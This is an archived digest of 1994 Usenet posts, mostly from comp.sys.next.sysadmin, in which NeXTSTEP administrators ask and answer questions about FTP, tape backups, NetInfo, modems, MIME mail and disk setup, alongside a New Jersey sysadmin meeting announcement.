> 230-
> 230- This is an experimental FTP server. If you have any
> 230- unusual problems, please report them via e-mail to
> root@math.lfc.edu
> 230- If you do have problems, please try using a dash (-) as the
> first character
> 230- of your password -- this will turn off the continuation
> messages that may
> 230- be confusing your ftp client.
I've never had problems with hangups until this month, during which I have
had hangups with the aforementioned ftp servers. I also had a hangup
with ftp.internic.net (which I tried for comparison not for actual use)
but not with geom.umn.edu. Thanks for any help you can give.
--
Geoffrey Mess
Department of Mathematics, UCLA. geoff@math.ucla.edu
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: WANTED: trace - system call tracer
In-Reply-To: csaky@mars.sztaki.hu's message of Wed, 20 Apr 1994 19:57:57 GMT
To: csaky@mars.sztaki.hu (Istvan Csaky)
Message-ID: <CEDMAN.94Apr20225237@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <CoKq4L.HLG@sunserv.sztaki.hu>
Date: Thu, 21 Apr 1994 02:52:37 GMT
In article <CoKq4L.HLG@sunserv.sztaki.hu> csaky@mars.sztaki.hu (Istvan Csaky) writes:
I'm looking for the NS version of the system call tracer utility (trace).
It's a very useful utility & I miss it a lot on NeXTs. Is it available
anywhere?
Yep, trace is neat. Unfortunately NS does not have the system calls
needed to implement a simple and efficient trace. But then when has
that ever stopped those with more determination than taste ?
I once wrote a NS trace which worked fairly well and probably with a
little bit of work could have been made to work as well e.g. Suns
trace, but by that time I hadn't gotten bored of it, so there never
was a public release.
Carl Edman
From: dl@apysoft.oleane.com (Denis Lafont)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mosaic for the NeXT
Date: 21 Apr 1994 09:00:21 GMT
Organization: OleANe Ceane Networks
Message-ID: <2p5fb5$8bc@relay2.oleane.net>
References: <2p27vqINN4v1@grumpy.symantec.com>
In article <2p27vqINN4v1@grumpy.symantec.com> mcullen@musashi.symantec.com
(Michael Cullen) writes:
> Is there any client software out there? I have a mono '040 slab running
> 3.2.
Try the *very* nice BETA apps OmniWeb on ftp.omnigroup.fr.
They are doing a great job...
I am waiting for the commercial version....
Hope this helps,
Denis
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------------------------------------------------------------------
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From: dl@apysoft.oleane.com (Denis Lafont)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mosaic for the NeXT
Date: 21 Apr 1994 11:06:57 GMT
Organization: OleANe Ceane Networks
Message-ID: <2p5moh$8p7@relay2.oleane.net>
References: <2p5fb5$8bc@relay2.oleane.net>
> Try the *very* nice BETA apps OmniWeb on ftp.omnigroup.fr.
The correct address is ftp.omnigroup.com....
D.
From: wjs@yucca.omnigroup.com (William Shipley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mosaic for the NeXT
Date: 21 Apr 1994 04:10:36 -0700
Organization: Omni Development, Inc.
Message-ID: <2p5mvc$5ta@yucca.omnigroup.com>
References: <2p27vqINN4v1@grumpy.symantec.com>
Michael Cullen writes:
>Is there any client software out there? I have a mono '040 slab running
>3.2.
OmniWeb is coming. Right now it's in beta-test, and if you enjoy using
buggy software you can download it from ftp://ftp.omnigroup.com/pub/software.
From: redmond@mindvox.phantom.com (David Redmond)
Newsgroups: comp.sys.next.sysadmin
Subject: Wangtek 5525ES Tapes
Date: Thu, 21 Apr 94 09:21:42 EDT
Organization: [MindVox] / Phantom Access Technologies / (+1 800-MindVox)
Distribution: world
Message-ID: <Vaw5kc1w165w@mindvox.phantom.com>
Originator: redmond@mindvox
Greetings,
I am having some trouble trying to access a Wangtek 5525es drive. It
comes up on boot as:
Apr 21 06:39:45 entropy mach: st: major number 9
Apr 21 06:39:45 entropy mach: st0: WANGTEK 5525ES SCSI REV7 3R
I have installed the fixed block mode patch for tape drives and have no
trouble accessing the drive to do dumps, like so:
dump 0Of 525 /dev/nrst0 /
But when I try to place a tar file on the tape, I am met with errors.
Doing the following, gives these results:
tar cf /dev/nrst0 TarFile : tar: tape write error: I/O error
tar cf - TarFile | dd of=/dev/nrst0 : write: I/O error
tar cf - TarFile | cat > /dev/nrst0 : cat: write error: I/O error
Again, the device IS set to fixed-block. Does anyone know what might
cause this or how I can write and read tar files from the device?
Thanks for your time.
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: symbolic links in /etc, funny pathname syntax
Date: 21 Apr 1994 14:30:22 GMT
Organization: University of Washington
Distribution: na
Message-ID: <2p62lu$p9a@news.u.washington.edu>
Keywords: symbolic_links, /etc
To: NeXT OS gurus
I've been poking around in the /etc (actually /private/etc as far as I can
tell) directory on my Next (running OS3.2). Below is a list of some of the
symbolic links in /etc, most of which appear to point to /private/usr/etc if
I'm correctly interpreting the ../../usr/etc path. There is, however, one link
that I'm having trouble interpreting and am hoping that someone can tell me why
it is as it is, if you will. The link in question is the last one of the list
presented below, namely that to ../..//usr/etc/mach_init . In particular, the
// doesn't make sense to me. I'd be grateful if someone could post a brief
note explaining this syntax. When I cd to /etc and to ../..// I end up in the
root directory / thus why not just have one slash. I assume there must be
something important about the //. Thanks!
Jim Luby
lrwxrwxrwx 1 jcl 20 Oct 22 1993 catman -> ../../usr/etc/catman*@
lrwxrwxrwx 1 jcl 19 Oct 22 1993 chown -> ../../usr/etc/chown*@
lrwxrwxrwx 1 jcl 18 Oct 22 1993 disk -> ../../usr/etc/disk*@
lrwxrwxrwx 1 jcl 18 Oct 22 1993 dump -> ../../usr/etc/dump*@
lrwxrwxrwx 1 jcl 18 Oct 22 1993 halt -> ../../usr/etc/halt*@
lrwxrwxrwx 1 jcl 20 Oct 22 1993 hdform -> ../../usr/etc/hdform*@
lrwxrwxrwx 1 jcl 22 Oct 22 1993 ifconfig ->
./../usr/etc/ifconfig*@
lrwxrwxrwx 1 jcl 19 Oct 22 1993 inetd -> ../../usr/etc/inetd*@
lrwxrwxrwx 1 jcl 18 Oct 22 1993 init -> ../../usr/etc/init*@
lrwxrwxrwx 1 jcl 24 Oct 22 1993 mach_init ->
./..//usr/etc/mach_init*@
From: disc@vector.casti.com (David Casti)
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Subject: NeXTMail and MIME?
Date: 21 Apr 1994 14:40:58 GMT
Organization: The Gnomes of Zurich (shhh!)
Message-ID: <2p639s$diu@news.intercon.com>
Hi folks,
Does NeXT have any plans to support MIME in their Mail.app? I understand
there are some 3rd party MIME mailers (I couldn't locate them on the net
this morning, though), but I'm really hoping that NeXT, Inc. won't miss
the MIME boat, as it were.
Thanks for any info.
David.
From: buzz@cs.tu-berlin.de (Bastian Schlueter)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: FUJITSU M2694ES-512 Rev 812A with 1024b/s (SOLUTION)
Date: 21 Apr 1994 15:45:52 GMT
Organization: Berlin University of Technology
Message-ID: <2p63j4$jjk@news.cs.tu-berlin.de>
References: <2ov1u4$lli@news.cs.tu-berlin.de>
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In-reply-to: buzz@cs.tu-berlin.de's message of 19 Apr 1994 00:34:42 MET
In article <2ov1u4$lli@news.cs.tu-berlin.de I wrote:
[...]
does anybody got a FUJITSU M2694ES-512 Rev 812A succesfully formated
to 1024bytes/sector?
Thanks very much to everyone who replied. The solution was to just
reboot after lowlevel formating with sdformat. One person noted that
Formatter also works. My disk is now up and running with 1024b/s and
60MB more :-)
Greetings Bastian
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From: tal@Warren.MENTORG.COM (Tom Limoncelli)
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.large,comp.unix.misc,comp.unix.solaris,comp.unix.ultrix,comp.unix.unixware,nj.events,nj.misc,nyc.announce,phl.announce
Subject: $GROUPNAME Meeting Calendar (NEW JERSEY)
Followup-To: comp.unix.admin
Date: 21 Apr 1994 10:12:36 -0400
Organization: Mentor Graphics -- IC Group, Warren, NJ, USA
Sender: tal@Warren.MENTORG.COM
Distribution: world
Message-ID: <2p61kk$9f5$1@sdl.Warren.MENTORG.COM>
To: groupname-announce@warren.mentorg.com,sage-announce@usenix.org,njcabal@draco.rutgers.edu,suspects@psyche.mit.edu,bblisa-announce@cs.umb.edu
$GROUPNAME is an organization for UNIX system administrators in New
Jersey formed to facilitate information exchange pertaining to the
field of Unix system administration. $GROUPNAME is not affiliated with
a particular hardware or software vendor or company.
------------------------------------------------------
A N N O U N C E M E N T :
------------------------------------------------------
$GROUPNAME CLUSTER GROUP MEETINGS
Tonight's the first $GROUPNAME Cluster Group Night!
Cluster groups will be meeting:
South Jersey: Olga's Dinner, Marlton, NJ
Central Jersey: Carousel Diner, Plainfield, NJ
TOPIC: I would like to propose this topic: Each cluster group creates
a list of the free software that they find useful. The software can be
available via FTP or whatever. Then, the cluster group ranks each item
using a rating of 0-5 (0="useful", 5="I can't live without this
tool"). Later, on the mailing list, we can compare our lists. It
would be interesting to see what each group comes up with and where the
differences and commonalities are. Also, the results would be a useful
resource for our members!
----------------------
SOUTH JERSEY:
The South Jersey cluster meeting will be at Olga's Dinner at the
junction of Routes 70 & 73 in Marlton at 8:00 pm, Thu April 21.
Directions:
From Rt 295 take Rt 70 East to the Rt 73 Circle.
From Rt 130 take Rt 73 South to the Rt 73 Circle.
RSVP (not required) to: Chris Pappagianis, cpappa@vf.ge.com
----------------------
CENTRAL JERSEY:
The Central Jersey cluster meeting will be at the Carousel Diner in on
Rt 22 (west bound) in Plainfield, NJ at 8:00 pm, Thu April 21.
RSVP (strongly suggested) to: Tom Limoncelli, tal@warren.mentorg.com
Directions:
From Rt 287: Take Rt 22 east about 11 miles. You will
pass K-Mart then Staples then "VIP Honda". The
diner is across the road from the Honda dealer. Go
to the next U-turn, turn around, it's soon after
you go under the bridge.
From Rt 78: Take exit 40 and go south. At bottom of hill
turn right. You are now in a traffic circle, follow the
blue "H" (Hospital) signs (i.e. Towards "The Plainfields").
Once out of the circle, go until you hit Rt 22. Turn right
onto Rt 22 (you don't have any choice). Diner is on your
right.
----------------------
See you there!
[ Note: This message is crossposted to many mailing lists, all
of whom have approved or requested such crossposts. ]
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"Psst! Hey, Anthony! Y'know what I | Disclaimer: I do not
like about existing?" "Uh... uh... what?" | speak for Mentor Graphics.
"Possessing a physical extension." -TSA |
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From: Tom Limoncelli <tom_limoncelli@warren.mentorg.com>
Subject: $GROUPNAME Meeting Calendar (NEW JERSEY)
To: groupname-announce@warren.mentorg.com, sage-announce@usenix.org,
njcabal@draco.rutgers.edu, suspects@psyche.mit.edu,
bblisa-announce@cs.umb.edu
Message-ID: <199404211412.AA09703@Warren.MENTORG.COM>
Followup-To: comp.unix.admin
Precedence: bulk
Sender: Bblisa-Announce-Owner@cs.umb.edu
Organization: The Internet
Date: Thu, 21 Apr 1994 14:12:43 GMT
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$GROUPNAME is an organization for UNIX system administrators in New
Jersey formed to facilitate information exchange pertaining to the
field of Unix system administration. $GROUPNAME is not affiliated with
a particular hardware or software vendor or company.
------------------------------------------------------
A N N O U N C E M E N T :
------------------------------------------------------
$GROUPNAME CLUSTER GROUP MEETINGS
Tonight's the first $GROUPNAME Cluster Group Night!
Cluster groups will be meeting:
South Jersey: Olga's Dinner, Marlton, NJ
Central Jersey: Carousel Diner, Plainfield, NJ
TOPIC: I would like to propose this topic: Each cluster group creates
a list of the free software that they find useful. The software can be
available via FTP or whatever. Then, the cluster group ranks each item
using a rating of 0-5 (0="useful", 5="I can't live without this
tool"). Later, on the mailing list, we can compare our lists. It
would be interesting to see what each group comes up with and where the
differences and commonalities are. Also, the results would be a useful
resource for our members!
----------------------
SOUTH JERSEY:
The South Jersey cluster meeting will be at Olga's Dinner at the
junction of Routes 70 & 73 in Marlton at 8:00 pm, Thu April 21.
Directions:
From Rt 295 take Rt 70 East to the Rt 73 Circle.
From Rt 130 take Rt 73 South to the Rt 73 Circle.
RSVP (not required) to: Chris Pappagianis, cpappa@vf.ge.com
----------------------
CENTRAL JERSEY:
The Central Jersey cluster meeting will be at the Carousel Diner in on
Rt 22 (west bound) in Plainfield, NJ at 8:00 pm, Thu April 21.
RSVP (strongly suggested) to: Tom Limoncelli, tal@warren.mentorg.com
Directions:
From Rt 287: Take Rt 22 east about 11 miles. You will
pass K-Mart then Staples then "VIP Honda". The
diner is across the road from the Honda dealer. Go
to the next U-turn, turn around, it's soon after
you go under the bridge.
From Rt 78: Take exit 40 and go south. At bottom of hill
turn right. You are now in a traffic circle, follow the
blue "H" (Hospital) signs (i.e. Towards "The Plainfields").
Once out of the circle, go until you hit Rt 22. Turn right
onto Rt 22 (you don't have any choice). Diner is on your
right.
----------------------
See you there!
[ Note: This message is crossposted to many mailing lists, all
of whom have approved or requested such crossposts. ]
From: ac1mdc@sunc.sheffield.ac.uk (M Crawford)
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: NeXTMail and MIME?
Followup-To: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
Date: 21 Apr 1994 16:51:44 GMT
Organization: Academic Computing Services, Sheffield University
Message-ID: <2p6av0$f50@hippo.shef.ac.uk>
References: <2p639s$diu@news.intercon.com>
David Casti (disc@vector.casti.com) wrote:
: Does NeXT have any plans to support MIME in their Mail.app? I understand
: there are some 3rd party MIME mailers (I couldn't locate them on the net
: this morning, though), but I'm really hoping that NeXT, Inc. won't miss
: the MIME boat, as it were.
:
There have been occasional postings from NeXT employees which have
included a MIME header: it is widely rumoured that Mail.app II will
support MIME, although it is not clear when Mail II will ship. Best
guess is October, with NS3.3.
If you want MIME now, you coult try Eloquent, from Take Three
eloquent_info@arissoft.com
Version 1.01c due out very soon.
Have fun,
mmalcolm.
From: bill@alamut.lifesci.ucla.edu (William M. Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: rdump and full domainname?
Date: 21 Apr 1994 09:53:42 -0700
Organization: UCLA Cognitive Science Research Program
Message-ID: <2p6b2m$26v@alamut.lifesci.ucla.edu>
We recently split our net into different
subdomains, and it broke my Next backup script.
The problem? Where before I had a "rdump ... alamut:/dev/nrst12",
I now have "rdump ... alamut.lifesci.ucla.edu:/dev/nrst12", and
the Nexts don't like it. Any suggestions?
Thanks,
Bill
--
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bill@lifesci.ucla.edu Bosnia, Somalia, Haiti
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Bad humor for the nineties -> "Hi, we're the UN and we're here to help!"
From: steve@eps.rain.com (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: mail return path does not include domainname?
Date: 21 Apr 1994 18:30:57 GMT
Organization: PSGnet, Portland Oregon, US
Distribution: world
Message-ID: <2p6gp1$e93@rain.psg.com>
I am having problem with my sendmail.cf (I think), not putting my full
address on the return path .
ie ..Return-Path: <steve@eps>, I need it to be <steve@eps.rain.com>
I have a resolv.conf file in /etc
domainname rain.com
Any ideas?
--
Steven Kornreich
steve@eps.rain.com
From: russell@math.mtu.edu (Russell Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: apps crash on mousedown in text field; intermittent
Date: 21 Apr 1994 23:11:06 GMT
Organization: Michigan Technological University
Message-ID: <2p716a$een@mtu.edu>
I've been having repeated but inconsistent troubles with my 040 Cube,
running 3.1. Sometimes I work fine for days; sometimes I get seized up so
badly even command-command-tilde doesn't work. For months I've been hoping
to find some consistency so that I could post a query.
I don't even know if I have hardware or software troubles; it seems flaky
enough to be hardware, but on the other hand it always seems to affect the
Window Server. Early symptoms, which I didn't used to catch, now seem to
be always the same: one or more applications, from Edit to Mathematica to
the Workspace Manager, will crash whenever I mousedown in text. I can type
just fine in Edit, and use the cursor keys, but mousedown and boom, the
app is gone. It doesn't seem to happen to me in Terminal, but it does
happen in Workspace Manager at times (try to edit the name of a file, and
boom).
It will happen consistently once it starts; it often takes multiple
reboots to cure the problem, which may then disappear for days or even
weeks. I'm not even sure the rebooting is what cures it; at some point it
just seems to go away.
Any of you sleuths have an idea?
Russell Reid
Michigan Tech University
Newsgroups: comp.sys.next.sysadmin
From: kritchie@cedar.umn.edu (Kent C. Ritchie)
Subject: Talk can't figure out network address
Message-ID: <CoMxFL.LnH@news.cis.umn.edu>
Keywords: talk network
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Fri, 22 Apr 1994 00:33:37 GMT
I am reviving a NeXT Cube running 2.1 and I am having a few problems. I
am definitely new to NeXT and still pretty new to system administration in
general. I am having a problem with talk and network addresses. This is
the type of error I see whn trying to talk to anyone on the local host, or
anywhere else for that matter:
talk: cedar: Can't figure out network address.
cedar is the name of the host by the way.
The weird thing is - finger and telnet have no problem figuring out
network addresses.
my /etc/hosts file looks essentially like this (sans commented lines):
127.0.0.1 localhost
128.101.220.29 cedar.spa.umn.edu cedar.spa.umn cedar.spa cedar
I have a resolv.conf that looks like this:
domain spa.umn.edu
domain umn.edu
nameserver 128.101.101.101
nameserver 134.84.84.84
So is there somewhere else I need to set things up so that talk can use
the name servers?
What confuses me even more is that fact that I get the above error whether
I use the host name or IP # as the host at which the user that I wish to
talk to is logged on.
Anyone know what I can do to remedy this situation.
Please email me (NeXT Mail would be really cool since I have never gotten
any :*).
Kent Ritchie
kritchie@cedar.spa.umn.edu
Newsgroups: comp.sys.next.sysadmin
From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Re: Panic -- What's Causing This?
Date: Thu, 21 Apr 1994 23:18:05 GMT
Message-ID: <CoMu26.8CF@Happy-Man.com>
References: <CoHqxp.7nD@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
In <CoHqxp.7nD@Happy-Man.com> irving@Happy-Man.com (Irving_Wolfe) writes:
>One of our machines is repeatedly (once or twice a day) going down
>like this (from /usr/adm/messages):
>Apr 18 16:10:11 beauty mach: panic: (Cpu 0) fp not one
Craig Goss <craig@bandw.com>, the creator of Black & White
Software's NXFax package that so many people are using, was kind
enough to telephone me with help on this. (That was fortunate,
because no one else has gotten in touch.)
Craig said he'd seen the problem, that it was an operating system
bug that Next is aware of, and that it seemed to be aggravated by
deallocating control terminals.
Since I'd started using Dan Bernstein's "pty" package to allow cron
to run some programs that exit unless they are connected to a tty a
month or so ago, Craig's comments led me to stop using "pty -d"
until after I have Nextstep 3.3. The crashes have abated.
Anyway, I'd known from experience testing some of his code years
ago that Craig was a top-notch software writer and a good man.
This recent experience just reinforces both impressions and leads
me to suggest that anyone who has a use for his NXFax software
really ought to license it.
Regards,
- Irving
--
Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax extension 108
Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: cancel <CoHqxp.7nD@Happy-Man.com>
Date: Thu, 21 Apr 1994 23:18:09 GMT
Message-ID: <CoMu2A.8D4@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
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In SOLID VALUE, we show intelligent investors under-priced stocks
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From: rene@rkt.in-berlin.de (Rene Kulschewski)
Subject: Re: WANTED: trace - system call tracer
Message-ID: <YH2NBXKE@rkt.in-berlin.de>
Sender: root@rkt.in-berlin.de (Operator)
Organization: Home in Berlin
References: <CoKq4L.HLG@sunserv.sztaki.hu> <CEDMAN.94Apr20225237@capitalist.princeton.edu>
Date: Thu, 21 Apr 1994 19:45:21 GMT
Carl Edman (cedman@princeton.edu) wrote:
: little bit of work could have been made to work as well e.g. Suns
: trace, but by that time I hadn't gotten bored of it, so there never
: was a public release.
But is it possible that you release it ?
Rene
--
____________________________________________________________________
Rene Kulschewski <rene@rkt.in-berlin.de> NeXTMail accepted.
From: mgilula@inca.gate.net (Marshall Gilula)
Newsgroups: comp.sys.next.sysadmin
Subject: MicrophonePro
Date: 21 Apr 1994 19:20:56 -0400
Message-ID: <2p71oo$nq6@inca.gate.net>
Help. I am trying to locate the supergreathuman writer of
Microphone Pro (Michael Rutman) as I don't have a correct
email address for him anymore. I am having trouble figuring
out how to rid myself of spurious controlQ's and controlS's
that the software is generating on my Internet node despite my
having the software configured for hardware flow control.
A couple of us with NeXT's on this node (an RS6000 running AIX )
are having the same problem with MP. It does not happen
when we use our Macs to logon to the same node.
Anyone with this problem in the past? Or anyone have a
current email address for Michael Rutman (who has always been
extremely kind and generous with his time, in my experience).
-73-
--
Marshall F. Gilula, M.D "El que busca mucho nada encuentra, pero
mgilula@inca.gate.net el que busca nada mucho encuentra"
Carpe resurrectionem mortuorum
From: af@iaka.biomath.jussieu.fr (Alain Fauconnet)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: Netinfo clients don't bind to clone server
Date: 22 Apr 94 11:31:58 GMT
Organization: Universites Paris VI/Paris VII - France
Distribution: world
Message-ID: <af.767014318@iaka>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Hello,
I have recently tried to make our NeXTs more reliable by adding a
clone server to our (simple, two-level) Netinfo network of
Nextstations.
I carefully followed the instructions in the "System and Network
Administration" book, and it doesn't seem to work at all. When the
usual server crashes, all the NeXTstations more or less hang, and
even rebooting them doesn't seem to make them re-bind to the clone
server. They complain at boot about not finding a server.
The clone server does run a "netinfod network" daemon, I have
checked that. I have read the pages 250-251 of the doc explaining
the binding process and I'm stuck. Can anyone help ? Master and
clone servers running 3.0 (3.1 is just not reliable enough and I
don't have 3.2), clients are a mix of 3.0 and 3.1.
The two servers (beryl and vercoquin) seem correctly configured:
> niutil -read / /machines/beryl
bootparams:
ip_address: 134.157.72.76
serves: beryl/local ./network <-------------
system_type: NeXTstation Color
name: beryl
netgroups: trusted
> niutil -read / /machines/vercoquin
bootfile: mach
bootparams:
ip_address: 134.157.72.84
en_address: 0:0:f:1:4f:d6
serves: vercoquin/local ./network <-------------
system_type: NeXTstation Color
name: vercoquin
netgroups: trusted
The manual states that "the ip_address property for broadcasthost
is 255.255.255.255, so the bind request is broadcast to all the
hosts on the local network". I'm not a TCP/IP expert, but it
seems to me that on a local net using subnetting
(netmask=255.255.255.128, broadcast=x.y.z.127) like ours, a
packet to 255.255.255.255 will go to the default router and not
be sent as an broadcast Ethernet frame, will it ? Anyway the
binding to the master server in normal conditions does occur, so
I guess that's a bad track.
Thanks for any hints,
_Alain_
--
Alain FAUCONNET Ingenieur systeme - System Manager AP-HP/SIM
Public Health Research Labs 91 bld de l'Hopital 75013 PARIS FRANCE
Mail: af@biomath.jussieu.fr (*no* NeXTmail !)
Tel: (+33) 1-40-77-96-19 Fax: (+33) 1-45-86-80-68
From: mlescoez@ny.psca.com (Mark Paul LeScoezec)
Newsgroups: comp.dcom.modems,comp.sys.next.sysadmin
Subject: Register settings on SupraFax for dialin..Moto
Date: 22 Apr 1994 10:58:27 -0400
Organization: The Ohio State University
Sender: root@magnus.acs.ohio-state.edu
Message-ID: <9404221458.AA27331@ny.psca.com>
Dear admins,
Does anyone have reasonable register settings for SupraFax v.32bis
for dialin? I have the manual and have tried many different
settings. The problem is that Supra does not have the right
register values for the new chipset from Rockwell. They told me to
call Rockwell directly and get the release notes for 1.4 ROMS. What
a bunch of BS. Does anybody have a good setup that utilizes the
v.32bis speed for dialin on Moto hardware? Even settings from older
ROMS would also be appreciated.(V1.8) The more I use this modem, the
more regretful of purchasing it I am.
thanks
mark
---
Mark LeScoezec Paradigm Systems
System Administrator (212)850-8135
ml@ny.psca.com 666 Third Ave
NeXTmail/MIME okay NY, NY 10017
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
From: richardm@cd.com (Richard Masoner)
Subject: Re: Configuring Serial line to allow 8-N-1 dial-in ?
Message-ID: <Coo1K1.2F1@cd.com>
Organization: Central Data Corp., Champaign, IL
References: <2osffr$b5o@senator-bedfellow.MIT.EDU> <1994Apr19.170944.1687@clark.dgim.doc.ca>
Date: Fri, 22 Apr 1994 14:57:36 GMT
In article <1994Apr19.170944.1687@clark.dgim.doc.ca> cbarton@DaBoyz.dgcp.doc.ca (Casey Barton) writes:
> I've tried several different parity settings, none of which will get
>NeXT to talk to the modem in anything other than 7E1. (7O1 doesn't work
>either.) I'm starting to think this is a bug -- but I'd think this would
>have been a very visible one -- 8N1 dialin seems to be the most common,
This has been my experience too, and in fact NeXT's tty layer
doesn't seem to have any flags to support changing the number
of data bits. When using the POSIX interface, some of the flags
are just completely ignored at the driver level! When writing a
driver for Central Data's tty hardware, I had to apply some
creative interpretation on some of the meanings of the flags to
get these things to work.
--
Richard F. Masoner
------------------------------------------------
"A soft answer turns away wrath." -Proverbs 15:1
From: thrash@sbctri.sbc.com (David R. Thrash)
Newsgroups: comp.sys.next.sysadmin
Subject: Dos mount from SCSI devices - NO WAY?
Date: 22 Apr 1994 16:50:19 GMT
Organization: Southwestern Bell Technology Resources Inc.
Message-ID: <2p8v8b$ia6@sbctri.sbc.com>
All,
I attempt "mount -t dos /dev/rsd1h /Dos" and get:
mount: /dev/rsd1h on /Dos: Invalid argument
mount: giving up on:
/Dos
man fsck reports:
..
dos
mnt_fsname Must be a raw device.
mnt_opts Ignored.
NOTE: This file system does not support SCSI hard
disks, CD-ROMs, or 2.88 MB floppies; it supports only
720KB and 1.4 MB floppies. To mount a dos volume, the
appropriate loadable kernel server must already be
loaded into the system.
..
So does this mean no dos from SCSI or what?
drt,
Reply to: dthrash@sbctri.sbc.com
From: neuwirth@ophelia.tuwien.ac.at (K. Neuwirth)
Newsgroups: comp.sys.next.sysadmin
Subject: LaserJet 4 on Ethernet
Date: 19 Apr 1994 12:20:05 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2p0i9l$1os@email.tuwien.ac.at>
I have the following problem: I want to connect my HP LaserJet 4
(with a PostScript module, but that is not entirely necessary for
the description of this problem) to my NeXT (running 3.2) via
Ethernet---I'm using the original HP JetDirect card in the printer.
I have not yet gotten the UNIX Software that is supposed to come
with the card, but I tried to find out as much as I can about the
TCP/IP implementation it uses. I have since been able to track down the
propblem to the follwing: my NetInfo does not use the PR and PM fields
of the printcap entries in /printers (as the netinfo man page clains),
but also as the subtrees printers/ljiv/Admin, ~/Comms and ~/Device. Comms
contains some fields that I assume define the communications path (what else
is nwe= and somwe things about the printer (NXPSSerial). There, I need to
get the ethernet thing recognized, IP number and stuff.
I was unable to find any information both in the online documentation
and on NextAnswers, although I have to admit that I only spent about 30 mins
reading the directoires that had something or the other to do with either
printer or netinfo.
I'd be grateful for any pointers or NetInfo help,
//konrad
who is looking forward to Advanced Netinfo management at NeXTSTEP EXPO.
From: steve@eps.rain.com (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: Setting up DNS
Date: 22 Apr 1994 19:52:20 GMT
Organization: PSGnet, Portland Oregon, US
Distribution: world
Message-ID: <2p99tk$bbf@rain.psg.com>
Are there any NeXT specific doc's explaining how to setup DNS?
--
Steven Kornreich
steve@eps.rain.com
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help: Cube can not find NetInfo server.
Date: 22 Apr 1994 21:20:34 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2p9f32$ehb@quartz.ucs.ualberta.ca>
References: <1994Apr18.194727.15299@ringer.cs.utsa.edu>
Hang Liu (hliu@ennex3.eng.utsa.edu) wrote:
: We have several Next cubes. Recently one of them can not find the NetInfo
: server during booting. The response is "The network is disabled or your
: computer isn't connected to it" and "Still searching for parent network
: administration (NetInfo) server" during bootup. We have checked all the
: addresses for this cube in root domain and local domain and they seem no
: problem. And the cable connection is also good. What can we do about this?
: Any tips would be greatly appreciated.
: Please respond by email!
If you check the /machines directory in the local domain (.) you will
usually find two hosts: broadcast host and local host. Check the
broadcast address, and see if it makes sense.
If you prefer to bind to particular hosts for / netinfo services, then
add those hosts to the local /machines directory and add the property
serves, and the value ../network
If you have multiple entries it will try them in turn.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: thrash@sbctri.sbc.com (David R. Thrash)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: IDE BOOT error?
Date: 22 Apr 1994 20:15:50 GMT
Organization: Southwestern Bell Technology Resources Inc.
Message-ID: <2p9b9m$jg0@sbctri.sbc.com>
References: <2oe49e$88u@email.tuwien.ac.at>
In article <2oe49e$88u@email.tuwien.ac.at> michael@cogito.iaee.tuwien.ac.at
(Michael Suessner) writes:
> During the boot process, I get the following error message:
>
> IDE: using block major 3, character major 15
> ideRead:Soft Error
>
When I got this message, I had my master IDE drive connected to the middle
female connector of the ide cable. When I put the master on the end the
message went away.
From: thrash@sbctri.sbc.com (David R. Thrash)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: IDE BOOT error?
Date: 22 Apr 1994 20:16:27 GMT
Organization: Southwestern Bell Technology Resources Inc.
Message-ID: <2p9bar$jga@sbctri.sbc.com>
References: <2oe49e$88u@email.tuwien.ac.at>
>
> IDE: using block major 3, character major 15
> ideRead:Soft Error
>
When I got this message, I had my master IDE drive connected to the middle
female connector of the ide cable. When I put the master on the end the
message went away.
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin
Subject: bitstream makes 500 fonts available in windows ps format for $50
Date: 22 Apr 1994 15:36:25 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2p9jh9$d2e@cheltenham.cs.arizona.edu>
I was browsing through comp.fonts today and say that bitstream is
selling a cdrom with 500 fonts for $50 at Egghead (it was $30 here in
tucson). Apparently, according to various people in comp.fonts its
not the typical 499 junk fonts and 1 good one but actually interesting
fonts.
The fonts are in two formats: ps type 1 and also tt format.
They are in "windows" format and must be converted somehow. I suppose
it will be possible to convert them for use on the next.
I'll have to get this disk and check it out.
-nick
ps. here's a listing of the fonts on the disk. it appears to be the deal of
the century. i wonder if we might see a great reduction in adobe's prices?
